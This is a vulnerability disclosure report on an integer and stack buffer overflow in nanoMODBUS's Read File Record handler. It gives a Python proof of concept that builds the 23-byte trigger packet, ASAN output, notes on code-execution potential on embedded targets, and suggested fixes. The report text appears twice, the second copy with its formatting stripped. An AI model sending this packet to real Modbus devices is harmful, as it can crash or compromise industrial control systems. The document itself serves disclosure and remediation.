Security Vulnerability Report: Stack Buffer Overflow in nanoMODBUS Read File Record
Classification: Public (after coordinated disclosure)
Date: 2026-06-29
1. Executive Summary
A stack buffer overflow vulnerability exists in nanoMODBUS's
handle_read_file_record() function at nanomodbus.c:1410.
The function uses a uint8_t response_data_size variable to accumulate
the total response size across multiple sub-requests in Modbus FC 0x14
(Read File Record). When two or more sub-requests specify
record_length = 124 (the maximum allowed value), the accumulated
response size exceeds 255 bytes, causing the uint8_t variable to
overflow. The subsequent write operations (put_1, put_n, swap_regs)
write past the end of the 260-byte nmbs.msg.buf[] stack buffer,
corrupting adjacent stack memory.
A 23-byte Modbus TCP ADU is sufficient to trigger this vulnerability,
which can be delivered over the network to any nanoMODBUS server
implementing FC 0x14.
CVSS 3.1 Score: 7.5 (High)
CWE: CWE-131 (Incorrect Calculation of Buffer Size) / CWE-190 (Integer Overflow or Wraparound)
Attack Vector: Network
Impact: Potential remote code execution, denial of service
2. Vulnerability Details
2.1 Affected Software
| Property |
Value |
| Project |
nanoMODBUS |
| Repository |
https://github.com/debevv/nanoMODBUS |
| File |
nanomodbus.c |
| Function |
handle_read_file_record() |
| Line |
1350 (uint8_t overflow) + 1410 (stack buffer overflow) |
| Latest tested version |
v1.23.0 (commit 91d6782, 2026-02-01) |
| Affected versions |
All versions including FC 0x14 support |
| Fixed versions |
None (unfixed as of 2026-06-29) |
2.2 Vulnerable Code
There are two compounding bugs:
Bug 1 — uint8_t overflow (line 1350):
static nmbs_error handle_read_file_record(nmbs_t* nmbs) {
// ...
uint8_t response_data_size = 0; // ← BUG: uint8_t wraps at 256
for (uint8_t i = 0; i < subreq_count; i++) {
subreq[i].reference_type = get_1(nmbs);
subreq[i].file_number = get_2(nmbs);
subreq[i].record_number = get_2(nmbs);
subreq[i].record_length = get_2(nmbs);
response_data_size += 2 + (subreq[i].record_length * 2);
// With record_length=124: += 2 + 248 = 250 per sub-request
// After 2 sub-requests: 500, but uint8_t wraps to 500 - 256 = 244
}
After the loop, put_res_header(nmbs, 1 + response_data_size) and
put_1(nmbs, response_data_size) use the overflowed value, writing a
truncated response size. But the actual data written to the buffer uses
the non-overflowed subreq[i].record_length values, so the full data
is still written — far exceeding the 260-byte buf[].
Bug 2 — No bounds checking on put_1 / get_n (lines 50-55, 110-113):
static void put_1(nmbs_t* nmbs, uint8_t data) {
nmbs->msg.buf[nmbs->msg.buf_idx] = data; // ← No bounds check
nmbs->msg.buf_idx++;
}
static uint8_t* get_n(nmbs_t* nmbs, uint16_t n) {
uint8_t* msg_buf_ptr = nmbs->msg.buf + nmbs->msg.buf_idx;
nmbs->msg.buf_idx += n; // ← No bounds check, advances past buf[260]
return msg_buf_ptr;
}
Neither put_1 nor get_n check whether buf_idx exceeds the
260-byte buffer boundary. Once buf_idx exceeds 260 via the overflowed
response, all subsequent writes corrupt adjacent stack memory.
Bug 3 — Even WITHOUT uint8_t overflow, 2+ sub-requests overflow:
Two sub-requests with record_length=124 produce:
2 + 124*2 + 2 + 124*2 = 500 bytes of response data
- The 260-byte buffer overflows regardless of the
uint8_t variable
The uint8_t overflow simply masks the true response size from the
response header, making the overflow harder to detect by the caller,
but the actual stack corruption happens with or without it.
2.3 Root Cause Analysis
Sub-request 1: ref_type=0x06, file=1, record=0, length=124 → 250 bytes data
Sub-request 2: ref_type=0x06, file=1, record=0, length=124 → 250 bytes data
Total actual data: 500 bytes
uint8_t response_data_size: (250 + 250) mod 256 = 244 (overflowed)
buf[] capacity: 260 bytes
Overflow: 500 - 260 = 240 bytes past buffer end
The validation at line 1379 correctly limits record_length ≤ 124,
but does not check the accumulated response size across sub-requests.
2.4 Call Chain
Network (TCP) → nmbs_server_poll() [nanomodbus.c:1943]
→ handle_req_fc() [nanomodbus.c:1864]
→ handle_read_file_record() [nanomodbus.c:1322]
→ put_1() / get_n() / swap_regs() ← OVERFLOW
3. Proof of Concept
3.1 Minimal PoC (23 bytes)
import struct
# Modbus TCP ADU header
txn_id = struct.pack('>H', 0x0001) # Transaction ID
proto_id = struct.pack('>H', 0x0000) # Protocol ID (Modbus)
unit_id = bytes([0x01]) # Unit ID
fc = bytes([0x14]) # Function code: Read File Record
# Request data: 2 sub-requests, each 7 bytes
request_data = b''
for _ in range(2):
request_data += bytes([0x06]) # Reference type (must be 0x06)
request_data += struct.pack('>H', 1) # File number
request_data += struct.pack('>H', 0) # Record number
request_data += struct.pack('>H', 124) # Record length (max allowed)
request_size_byte = bytes([len(request_data)]) # 0x0E = 14
length = struct.pack('>H', 1 + 1 + 1 + len(request_data)) # Unit + FC + size + data
poc = txn_id + proto_id + length + unit_id + fc + request_size_byte + request_data
with open('poc_nmbus001.bin', 'wb') as f:
f.write(poc)
Hex dump of the 23-byte PoC:
0001 0000 0011 01 14 0e 06 0001 0000 007c 06 0001 0000 007c
3.2 Build with AddressSanitizer
git clone https://github.com/debevv/nanoMODBUS.git
cd nanoMODBUS
# Build the ASAN harness
mkdir build-asan && cd build-asan
cmake .. \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address,undefined -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
cmake --build . --target fuzz_nanomodbus_harness
3.3 Trigger the Vulnerability
ASAN_OPTIONS=detect_leaks=0 ./fuzz_nanomodbus_harness poc_nmbus001.bin
4. ASAN Stack Trace
nanomodbus.c:51:5: runtime error: index 260 out of bounds for type 'uint8_t[260]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior nanomodbus.c:51:5
nanomodbus.c:101:42: runtime error: index 263 out of bounds for type 'uint8_t[260]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior nanomodbus.c:101:42
=================================================================
==23727==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00016f8811ed
at pc 0x000100581f98 bp 0x00016f8801c0 sp 0x00016f8801b8
READ of size 2 at 0x00016f8811ed thread T0
#0 0x000100581f94 in swap_regs nanomodbus.c:142
#1 0x0001005917f0 in handle_read_file_record nanomodbus.c:1410
#2 0x0001005849e4 in handle_req_fc nanomodbus.c:1864
#3 0x000100583698 in nmbs_server_poll nanomodbus.c:1943
#4 0x00010057cea0 in LLVMFuzzerTestOneInput fuzz_nanomodbus_harness.c:191
Address 0x00016f8811ed is located in stack of thread T0 at offset 781 in frame
#0 0x00010057c8b4 in LLVMFuzzerTestOneInput fuzz_nanomodbus_harness.c:149
This frame has 3 object(s):
[32, 88) 'platform_conf' (line 158)
[128, 240) 'callbacks' (line 166)
[272, 728) 'nmbs' (line 182) <== Memory access at offset 781 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow nanomodbus.c:142 in swap_regs
==23727==ABORTING
Key details:
- Buffer:
uint8_t buf[260] inside nmbs_t struct on stack
- Overflow at offset 781 (728-byte object ends at offset 728, overflow by 53+ bytes)
- Stack trace confirms:
swap_regs reads from buf[260+] via get_n → handle_read_file_record
- UBSan also fires:
index 260 out of bounds for type 'uint8_t[260]'
5. Impact Assessment
5.1 CVSS 3.1 Scoring
| Metric |
Value |
Rationale |
| Attack Vector (AV) |
Network (N) |
Modbus TCP — remotely reachable |
| Attack Complexity (AC) |
Low (L) |
Single 23-byte packet, no auth needed |
| Privileges Required (PR) |
None (N) |
No authentication in Modbus TCP |
| User Interaction (UI) |
None (N) |
Automatic processing of incoming request |
| Scope (S) |
Unchanged (U) |
Limited to nanoMODBUS process |
| Confidentiality (C) |
Low (L) |
Stack data may leak via response |
| Integrity (I) |
Low (L) |
Stack corruption may enable code execution |
| Availability (A) |
High (H) |
Process crashes (DoS) |
CVSS 3.1 Base Score: 7.5 (High)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
5.2 Practical Impact
| Scenario |
Impact |
| nanoMODBUS TCP server |
Remote crash (DoS) via 23-byte packet |
| nanoMODBUS RTU serial |
Crash if FC 0x14 frame received |
| Embedded system with nanoMODBUS |
Potential RCE — stack overflow in embedded often allows code execution (no ASLR, no stack canary) |
| With AddressSanitizer |
Clean crash with full stack trace |
| Without ASAN (production) |
Stack corruption — behavior undefined, likely crash; possible code execution on embedded targets |
5.3 Exploitability Note
On embedded systems (ARM Cortex-M, etc.) where nanoMODBUS is commonly deployed:
- No ASLR, no stack canaries by default
- Stack overflow of 240+ bytes allows overwriting return address
- The
swap_regs function reads from overflowed buffer and writes back —
potentially creating a controlled write primitive
- Combined with the ability to send arbitrary Modbus packets, this makes
remote code execution plausible on embedded targets
6. Suggested Fix
6.1 Primary Fix: Use uint16_t + Add Accumulation Check
static nmbs_error handle_read_file_record(nmbs_t* nmbs) {
// ...
- uint8_t response_data_size = 0;
+ uint16_t response_data_size = 0;
for (uint8_t i = 0; i < subreq_count; i++) {
subreq[i].reference_type = get_1(nmbs);
subreq[i].file_number = get_2(nmbs);
subreq[i].record_number = get_2(nmbs);
subreq[i].record_length = get_2(nmbs);
- response_data_size += 2 + (subreq[i].record_length * 2);
+ uint16_t subreq_size = 2 + (subreq[i].record_length * 2);
+ if (response_data_size + subreq_size > 252) // 260 - 8 (header overhead)
+ return NMBS_ERROR_INVALID_REQUEST;
+ response_data_size += subreq_size;
}
6.2 Defense in Depth: Add Bounds Check to put_1 / get_n
static void put_1(nmbs_t* nmbs, uint8_t data) {
+ if (nmbs->msg.buf_idx >= sizeof(nmbs->msg.buf))
+ return; // Or return error
nmbs->msg.buf[nmbs->msg.buf_idx] = data;
nmbs->msg.buf_idx++;
}
static uint8_t* get_n(nmbs_t* nmbs, uint16_t n) {
+ if (nmbs->msg.buf_idx + n > sizeof(nmbs->msg.buf))
+ return NULL; // Caller should check
uint8_t* msg_buf_ptr = nmbs->msg.buf + nmbs->msg.buf_idx;
nmbs->msg.buf_idx += n;
return msg_buf_ptr;
}
6.3 Validation Reference: How Other Implementations Handle This
- FreeModbus: Limits total response size per function code, returns
MB_EILLSTATE if exceeded
- libmodbus: Pre-calculates response size and rejects requests that
would overflow the response buffer
7. Disclosure Timeline
| Date |
Event |
| 2026-06-28 |
Vulnerability discovered during security research |
| 2026-06-29 |
Vulnerability verified with ASAN on v1.23.0 |
| 2026-06-29 |
Report submitted via GitHub Issue (security-labeled) |
| 2026-08-13 |
Planned public disclosure (45-day deadline) |
| TBD |
Fix merged and release published |
| TBD |
CVE assignment (if applicable) |
Note: nanoMODBUS is maintained by a single developer. A shorter 45-day
disclosure timeline is proposed given the project's smaller scope and
faster merge cycle, while still allowing reasonable time for a fix.
8. Reporter Information
Contact: Jerry Wang (Ant Group) — wjcuhk@gmail.com
Security Vulnerability Report: Stack Buffer Overflow in nanoMODBUS Read File Record
Classification: Public (after coordinated disclosure)
Date: 2026-06-29
1. Executive Summary
A stack buffer overflow vulnerability exists in nanoMODBUS's
handle_read_file_record()function atnanomodbus.c:1410.The function uses a
uint8_t response_data_sizevariable to accumulatethe total response size across multiple sub-requests in Modbus FC 0x14
(Read File Record). When two or more sub-requests specify
record_length = 124(the maximum allowed value), the accumulatedresponse size exceeds 255 bytes, causing the
uint8_tvariable tooverflow. The subsequent write operations (
put_1,put_n,swap_regs)write past the end of the 260-byte
nmbs.msg.buf[]stack buffer,corrupting adjacent stack memory.
A 23-byte Modbus TCP ADU is sufficient to trigger this vulnerability,
which can be delivered over the network to any nanoMODBUS server
implementing FC 0x14.
CVSS 3.1 Score: 7.5 (High)
CWE: CWE-131 (Incorrect Calculation of Buffer Size) / CWE-190 (Integer Overflow or Wraparound)
Attack Vector: Network
Impact: Potential remote code execution, denial of service
2. Vulnerability Details
2.1 Affected Software
nanomodbus.chandle_read_file_record()91d6782, 2026-02-01)2.2 Vulnerable Code
There are two compounding bugs:
Bug 1 —
uint8_toverflow (line 1350):After the loop,
put_res_header(nmbs, 1 + response_data_size)andput_1(nmbs, response_data_size)use the overflowed value, writing atruncated response size. But the actual data written to the buffer uses
the non-overflowed
subreq[i].record_lengthvalues, so the full datais still written — far exceeding the 260-byte
buf[].Bug 2 — No bounds checking on
put_1/get_n(lines 50-55, 110-113):Neither
put_1norget_ncheck whetherbuf_idxexceeds the260-byte buffer boundary. Once
buf_idxexceeds 260 via the overflowedresponse, all subsequent writes corrupt adjacent stack memory.
Bug 3 — Even WITHOUT uint8_t overflow, 2+ sub-requests overflow:
Two sub-requests with
record_length=124produce:2 + 124*2 + 2 + 124*2 = 500bytes of response datauint8_tvariableThe
uint8_toverflow simply masks the true response size from theresponse header, making the overflow harder to detect by the caller,
but the actual stack corruption happens with or without it.
2.3 Root Cause Analysis
The validation at line 1379 correctly limits
record_length ≤ 124,but does not check the accumulated response size across sub-requests.
2.4 Call Chain
3. Proof of Concept
3.1 Minimal PoC (23 bytes)
Hex dump of the 23-byte PoC:
3.2 Build with AddressSanitizer
3.3 Trigger the Vulnerability
4. ASAN Stack Trace
Key details:
uint8_t buf[260]insidenmbs_tstruct on stackswap_regsreads frombuf[260+]viaget_n→handle_read_file_recordindex 260 out of bounds for type 'uint8_t[260]'5. Impact Assessment
5.1 CVSS 3.1 Scoring
CVSS 3.1 Base Score: 7.5 (High)
Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H5.2 Practical Impact
5.3 Exploitability Note
On embedded systems (ARM Cortex-M, etc.) where nanoMODBUS is commonly deployed:
swap_regsfunction reads from overflowed buffer and writes back —potentially creating a controlled write primitive
remote code execution plausible on embedded targets
6. Suggested Fix
6.1 Primary Fix: Use
uint16_t+ Add Accumulation Check6.2 Defense in Depth: Add Bounds Check to
put_1/get_n6.3 Validation Reference: How Other Implementations Handle This
MB_EILLSTATEif exceededwould overflow the response buffer
7. Disclosure Timeline
Note: nanoMODBUS is maintained by a single developer. A shorter 45-day
disclosure timeline is proposed given the project's smaller scope and
faster merge cycle, while still allowing reasonable time for a fix.
8. Reporter Information
Contact: Jerry Wang (Ant Group) — wjcuhk@gmail.com